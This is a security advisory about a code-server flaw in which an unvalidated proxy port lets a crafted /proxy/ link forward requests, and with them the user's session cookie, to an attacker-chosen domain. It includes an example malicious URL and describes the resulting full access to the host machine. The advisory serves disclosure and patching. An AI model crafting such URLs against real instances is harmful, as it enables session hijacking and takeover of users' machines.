code-server's session cookie can be extracted by having user visit specially crafted proxy URL

Summary

A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.

Details

Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/[email protected]/path would be proxied to [email protected]/path where the attacker could exfiltrate a user's session token.

Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

Patches

Patched versions are from v4.99.4 onward.